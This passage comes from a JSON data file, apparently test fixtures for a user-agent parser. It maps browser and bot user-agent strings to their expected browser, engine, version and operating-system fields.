".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "35", "match" : [ "windows", "winnt", "win32", "win7", "webkit", "chrome" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_beta" : ".1916.153", "public_major" : "35", "public_minor" : ".0", "public_version" : 35, "version" : 35 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1985.125", "browser_major" : "36", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1985.143", "browser_major" : "36", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1985.67", "browser_major" : "36", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2062.120", "browser_major" : "37", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36 OPR/24.0.1558.64" : { "browser" : "opera", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "opera", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.115", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/36.1.1.21 Chrome/36.0.1985.97 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1985.97", "browser_major" : "36", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Iron/29.0.1600.1 Chrome/29.0.1600.1 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1600.1", "browser_major" : "29", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2" : { "browser" : "firefox", "browser_beta" : ".2", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "10", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "10.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "11", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "11.0", "major" : "11", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_major" : "11", "public_minor" : ".0", "public_version" : 11, "version" : 11 }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre" : { "browser" : "firefox", "browser_beta" : "b11pre", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7" : { "browser" : "firefox", "browser_beta" : "b7", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0" : { "browser" : "firefox", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "21", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "21.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) brave/0.7.10 Chrome/47.0.2526.110 Brave/0.36.5 Safari/537.36" : { "browser" : "brave", "browser_beta" : ".10", "browser_major" : "0", "browser_minor" : ".7", "browser_string" : "Brave", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "brave", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) KomodiaBot/1.0" : { "browser" : "netscape", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Netscape", "match" : [ "windows", "winnt", "win32", "win7", "netscape", "nav4up", "nav45up", "nav6", "nav6up", "robot" ], "os" : "windows", "os_string" : "Win7", "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "KomodiaBot", "robot_version" : "1.0" }, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre" : { "browser" : "firefox", "browser_beta" : "b13pre", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.2) Gecko/20150122 Firefox/31.9 PaleMoon/25.2.1" : { "browser" : "firefox", "browser_major" : "31", "browser_minor" : ".9", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "25", "engine_minor" : ".2", "engine_string" : "Gecko", "engine_version" : "25.2", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1" : { "beta" : ".1", "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "12.0", "major" : "14", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_beta" : ".1", "public_major" : "14", "public_minor" : ".0", "public_version" : 14, "version" : 14 }, "Mozilla/5.0 (Windows NT 6.1; rv:12.0; StumbleUpon; noc@stumbleupon.com) Gecko/20100101 Firefox/12.0" : { "browser" : "firefox", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "12.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre" : { "browser" : "firefox", "browser_beta" : "b7pre", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "2", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "2.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0" : { "browser" : "firefox", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "21", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "21.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130331 Firefox/21.0" : { "browser" : "firefox", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "21", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "21.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20130406 Firefox/23.0" : { "browser" : "firefox", "browser_major" : "23", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "23", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "23.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0" : { "browser" : "firefox", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "30", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "30.0", "match" : [ "windows", "winnt", "win32", "win7", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon" : { "browser" : "firefox", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "6.0", "match" : [ "firefox", "gecko", "google", "googlefavicon", "robot", "windows", "winnt", "win32", "win7" ], "os" : "windows", "os_string" : "Win7", "robot" : "googlefavicon", "robot_string" : "Google Favicon" }, "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/27.0.1453.116 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1453.116", "browser_major" : "27", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.117 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1750.117", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.154 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1750.154", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2231.0 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2231.0", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1" : { "browser" : "firefox", "browser_beta" : ".1", "browser_major" : "16", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1", "engine_major" : "16", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "16.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1667.0", "browser_major" : "32", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0" : { "browser" : "firefox", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "21", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "21.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/32.0.1700.107 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1700.107", "browser_major" : "32", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 OPR/26.0.1656.24" : { "browser" : "opera", "browser_major" : "26", "browser_minor" : ".0", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "opera", "webkit" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.111", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.74 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.74", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; SMJB; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" : { "browser" : "ie", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "ie", "ie4up", "ie5up", "ie55up", "ie11", "trident" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2049.0", "browser_major" : "37", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win8", "win8_1", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win8.1", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".5", "engine_string" : "Gecko", "engine_version" : "1.5", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win2k", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3" : { "browser" : "firefox", "browser_beta" : ".0.3", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 Firefox/1.5.0.12" : { "browser" : "firefox", "browser_beta" : ".0.12", "browser_major" : "1", "browser_minor" : ".5", "browser_string" : "Firefox", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0" : { "browser" : "chrome", "browser_beta" : ".195.21", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "532", "engine_minor" : ".0", "engine_string" : "WebKit", "engine_version" : "532.0", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.89 Safari/532.5" : { "browser" : "chrome", "browser_beta" : ".249.89", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "532", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "532.5", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14" : { "browser" : "chrome", "browser_beta" : ".601.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".14", "engine_string" : "WebKit", "engine_version" : "534.14", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14" : { "browser" : "chrome", "browser_beta" : ".602.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".14", "engine_string" : "WebKit", "engine_version" : "534.14", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15" : { "browser" : "chrome", "browser_beta" : ".612.1", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".15", "engine_string" : "WebKit", "engine_version" : "534.15", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.628.0 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".628.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.644.0 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".644.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".648.127", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".648.151", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 ChromePlus/1.6.1.0" : { "browser" : "chrome", "browser_beta" : ".648.204", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13" : { "browser" : "firefox", "browser_beta" : ".0.13", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.13", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "language" : 